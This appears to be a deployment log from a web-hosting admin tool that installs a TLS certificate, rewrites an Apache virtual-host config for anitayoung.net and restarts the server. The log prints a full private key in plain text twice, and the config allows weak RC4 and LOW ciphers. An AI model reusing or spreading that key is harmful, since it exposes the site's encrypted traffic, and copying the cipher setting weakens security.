HQncnMuKHLhPAAEBhPhDiTzQXpx328fHtVNQlnIa2cUC/HZGgQrFdB2jzVDgfImS
b1wKuLJc9mOKTJdGJg9wdBiBCmL/rUT1EoZbaAO3y1Q5nm5/5ai4iNv+DpP4WOUT
R5yWnr15D6OUAw2mHI3+3wF/UYBZFJg5SLAdGQQR/1SvlHqtbEW5+HWdPl+ytupd
YgkM44xMrGWfv+8u2qPwhG26R9saZtf6tnDxRQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqlS8QKrnwzjmc
N50lY2ns4zJBm8hgvWagsacArPc50x/M8sO3oUlVxKaiQziUP6YYlFDypvozMWPq
nPBj263j7EbXYwIhD2hdxHG9qfFw5Q5lo8vbl9s+v8nsCeipmmlDnj53awdZQuUm
QMWnNTh6O7sTRq2lD8NykUempEqZlWWtlwOL5BDu+UUMykJzSDSmfN8G/80pdRMX
EIXOqYmSQGhVUU8r2z7q0FvMDvJdgQopbfSmxUglA434sGde1LR+ciINtB3DGe6Z
evlnp76epyEJpBKi6I3TPm7lgC1TAGppfvBHo9ytPZ+sj0tzJDD3eAgpm6QABhhv
FaVEA4AJAgMBAAECggEASyg9uybIFAQYt+5863s4sWmMvAFyMMViUUzUouSSbMTL
jxYrC14hnItvS7DIXfEJMm0umSres+1/81/APo8Mt45jzARQbNaICkBCSOl2emJB
jKC1cgQfUi9YPQpEm21wEZ3IMf9TFo31vnvtWfWF870beKu8WCxw1aqS4iYixDWp
DbnBycSEFsyTyG03F85qLZNfj6KVeFTCLMbtyMSSPgM62o8lAiiwRKtrRykK1OC1
SoRydep/ygfMnHlL/za2ZVDMjCwxifGCKyuB9walYl7jtrhqtLoQq4UgalErl+m3
1jlzkoXlr3XPTzFRVVf/kEs5K117ULr0Epb/IPI/LQKBgQDhp14qmqOKyiO+lcEM
ah8un/ndYsm5R6Gt31K7+DEZwPv+ogOCD6rQRttTSP4PJ2eJgAhAhOv+mpMr96FS
iGO42NvcG5JPNU64fNjVjksnfuhgQZp4ydqOUv1iOjxRarl6cxYddHzIa1qIJ4Bo
ks0/4mwTiUgPHMBf/aXZwtDWYwKBgQDBhd+gVqXDi64qMI/Om26+jKfBAnriW8gd
FLGla3UDtikJVwLM5Qdje+5Ls2P+4dfXSZY+fRrVsg4XQ1Ti9EJ1b6MKi5MkFL+j
+IjhUwEAwocVfRyI14ytjt3i1hKlT502cjfDEg0lEpeucThEYqn4hJ2m69JmnYOL
IAxL6t21owKBgQDfPJehKFjwniecjURthrMQij1D8k5EmQPvIkcUJGZW5x+lehxk
WCGRaPfjvgtxbHc2hU4knhtmRv+f+JxFLR8SqJ9hcnldGQym4QQWyW26RgeX6m7q
Xi90q892lMxFc4LJC//t5ebo06O9nO6hBdI+CD8JWL/MC5KZpDKmat/1pwKBgDeI
KPGjq5F/ZYzpvnp1E8ROLF0wTv7hg30E0S08tqlH/mKVu1H8brBXgbvrUEh1mjBH
B3wK/kZP/8chJRyzJtb4H/sIrkJuScfNq8msvd7v8z9xVVzXLaEoG/fZoiQZwm07
PVEWvvriaPA/wPuurEOKGosppIiZroOfwKeQT+qtAoGBAMtKMdYyXdxBSemu/X1/
AejtMuuMIUee2Fm/aQWEpRqNfBwgNiMm3/uLNgbynPAveqRfLPKdxp1uhY+ujdy8
3G6gFaOu66tqIA0auuLTvev1X3iJcjsbc3MVEzADLzSNyKCKFGxYieb3Vg7RWBWa
OpC8gil2bhtBk6kSXZ2UZ0Ug
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-30 06:00:34: 

chmod 755 /tmp/pkp430007; /tmp/pkp430007; rm /tmp/pkp430007

2025-11-30 06:00:34: 


dir=/etc/ssl/certs


2025-11-30 06:00:34: 

PUT: /tmp/pkp727042

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-30 06:00:34: 

chmod 755 /tmp/pkp727042; /tmp/pkp727042; rm /tmp/pkp727042

2025-11-30 06:00:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-30 06:00:34: 

PUT: /tmp/pkp629536

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi


2025-11-30 06:00:34: 

chmod 755 /tmp/pkp629536; /tmp/pkp629536; rm /tmp/pkp629536

2025-11-30 06:00:34: 




2025-11-30 06:00:34: 

PUT: /tmp/pkp581551

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-30 06:00:34: 

chmod 755 /tmp/pkp581551; /tmp/pkp581551; rm /tmp/pkp581551

2025-11-30 06:00:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:00:35: Establishing a connection
2025-11-30 06:00:35: 

PUT: /tmp/pkp767355

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-30 06:00:35: 

chmod 755 /tmp/pkp767355; /tmp/pkp767355; rm /tmp/pkp767355

2025-11-30 06:00:35: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-30 06:00:35: 

PUT: /tmp/pkp864820

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/anitayoung_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:35: 

chmod 755 /tmp/pkp864820; /tmp/pkp864820; rm /tmp/pkp864820

2025-11-30 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf	1192

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-30 06:00:35: 

PUT: /tmp/pkp642786

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-30 06:00:35: 

chmod 755 /tmp/pkp642786; /tmp/pkp642786; rm /tmp/pkp642786

2025-11-30 06:00:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt	5348
af:51:d5:ec:bb:e8:db:36:e7:a7:60:16:3f:8d:42:f9

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBXYJOrNlNg3a3Osrr3uoP7uoMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMjAxWhcNMjYwMjI4MDUwMjAwWjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AKqVLxAqufDOOZw3nSVjaezjMkGbyGC9ZqCxpwCs9znTH8zyw7ehSVXEpqJDOJQ/
phiUUPKm+jMxY+qc8GPbrePsRtdjAiEPaF3Ecb2p8XDlDmWjy9uX2z6/yewJ6Kma
aUOePndrB1lC5SZAxac1OHo7uxNGraUPw3KRR6akSpmVZa2XA4vkEO75RQzKQnNI
NKZ83wb/zSl1ExcQhc6piZJAaFVRTyvbPurQW8wO8l2BCilt9KbFSCUDjfiwZ17U
tH5yIg20HcMZ7pl6+Wenvp6nIQmkEqLojdM+buWALVMAaml+8Eej3K09n6yPS3Mk
MPd4CCmbpAAGGG8VpUQDgAkCAwEAAaOCAh4wggIaMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFpzCGbjsdRLMs8bt6MfT4z8Tts8wHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5hbml0YXlvdW5nLm5ldDATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMu
bGVuY3Iub3JnLzQxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AJaXZL9V
WJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmtNZPAIAAAQDAEYwRAIgZA1T
wkTKV4mzyUBYeFTWbL0w8CPoekirHK0DstjnP/YCIBU6EzZLjwCftD0Tu9M9LnBj
LsTobCeSkDDlvNv9EJm+AHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGa01lDuwAABAMASDBGAiEAzDZJtnLBYYz+e+b/etMWiwSlLvCqHzYQvNkD
35QokpICIQDXi0iXa6hrYYJpFTH5QBU6flAI7EXwjRsGJvoo2QcaWDANBgkqhkiG
9w0BAQsFAAOCAQEAZQTOApSM+cy4lUnaWIxcxHJM88qmtUlFibwDIwYJkRtk+Nso
WL5imQp92+BFteJtb9Uyz1cnTUJlS6WRl65YfAZyJxqJVwG7Di2orOitv9UnDRD3
HQncnMuKHLhPAAEBhPhDiTzQXpx328fHtVNQlnIa2cUC/HZGgQrFdB2jzVDgfImS
b1wKuLJc9mOKTJdGJg9wdBiBCmL/rUT1EoZbaAO3y1Q5nm5/5ai4iNv+DpP4WOUT
R5yWnr15D6OUAw2mHI3+3wF/UYBZFJg5SLAdGQQR/1SvlHqtbEW5+HWdPl+ytupd
YgkM44xMrGWfv+8u2qPwhG26R9saZtf6tnDxRQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCqlS8QKrnwzjmc
N50lY2ns4zJBm8hgvWagsacArPc50x/M8sO3oUlVxKaiQziUP6YYlFDypvozMWPq
nPBj263j7EbXYwIhD2hdxHG9qfFw5Q5lo8vbl9s+v8nsCeipmmlDnj53awdZQuUm
QMWnNTh6O7sTRq2lD8NykUempEqZlWWtlwOL5BDu+UUMykJzSDSmfN8G/80pdRMX
EIXOqYmSQGhVUU8r2z7q0FvMDvJdgQopbfSmxUglA434sGde1LR+ciINtB3DGe6Z
evlnp76epyEJpBKi6I3TPm7lgC1TAGppfvBHo9ytPZ+sj0tzJDD3eAgpm6QABhhv
FaVEA4AJAgMBAAECggEASyg9uybIFAQYt+5863s4sWmMvAFyMMViUUzUouSSbMTL
jxYrC14hnItvS7DIXfEJMm0umSres+1/81/APo8Mt45jzARQbNaICkBCSOl2emJB
jKC1cgQfUi9YPQpEm21wEZ3IMf9TFo31vnvtWfWF870beKu8WCxw1aqS4iYixDWp
DbnBycSEFsyTyG03F85qLZNfj6KVeFTCLMbtyMSSPgM62o8lAiiwRKtrRykK1OC1
SoRydep/ygfMnHlL/za2ZVDMjCwxifGCKyuB9walYl7jtrhqtLoQq4UgalErl+m3
1jlzkoXlr3XPTzFRVVf/kEs5K117ULr0Epb/IPI/LQKBgQDhp14qmqOKyiO+lcEM
ah8un/ndYsm5R6Gt31K7+DEZwPv+ogOCD6rQRttTSP4PJ2eJgAhAhOv+mpMr96FS
iGO42NvcG5JPNU64fNjVjksnfuhgQZp4ydqOUv1iOjxRarl6cxYddHzIa1qIJ4Bo
ks0/4mwTiUgPHMBf/aXZwtDWYwKBgQDBhd+gVqXDi64qMI/Om26+jKfBAnriW8gd
FLGla3UDtikJVwLM5Qdje+5Ls2P+4dfXSZY+fRrVsg4XQ1Ti9EJ1b6MKi5MkFL+j
+IjhUwEAwocVfRyI14ytjt3i1hKlT502cjfDEg0lEpeucThEYqn4hJ2m69JmnYOL
IAxL6t21owKBgQDfPJehKFjwniecjURthrMQij1D8k5EmQPvIkcUJGZW5x+lehxk
WCGRaPfjvgtxbHc2hU4knhtmRv+f+JxFLR8SqJ9hcnldGQym4QQWyW26RgeX6m7q
Xi90q892lMxFc4LJC//t5ebo06O9nO6hBdI+CD8JWL/MC5KZpDKmat/1pwKBgDeI
KPGjq5F/ZYzpvnp1E8ROLF0wTv7hg30E0S08tqlH/mKVu1H8brBXgbvrUEh1mjBH
B3wK/kZP/8chJRyzJtb4H/sIrkJuScfNq8msvd7v8z9xVVzXLaEoG/fZoiQZwm07
PVEWvvriaPA/wPuurEOKGosppIiZroOfwKeQT+qtAoGBAMtKMdYyXdxBSemu/X1/
AejtMuuMIUee2Fm/aQWEpRqNfBwgNiMm3/uLNgbynPAveqRfLPKdxp1uhY+ujdy8
3G6gFaOu66tqIA0auuLTvev1X3iJcjsbc3MVEzADLzSNyKCKFGxYieb3Vg7RWBWa
OpC8gil2bhtBk6kSXZ2UZ0Ug
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
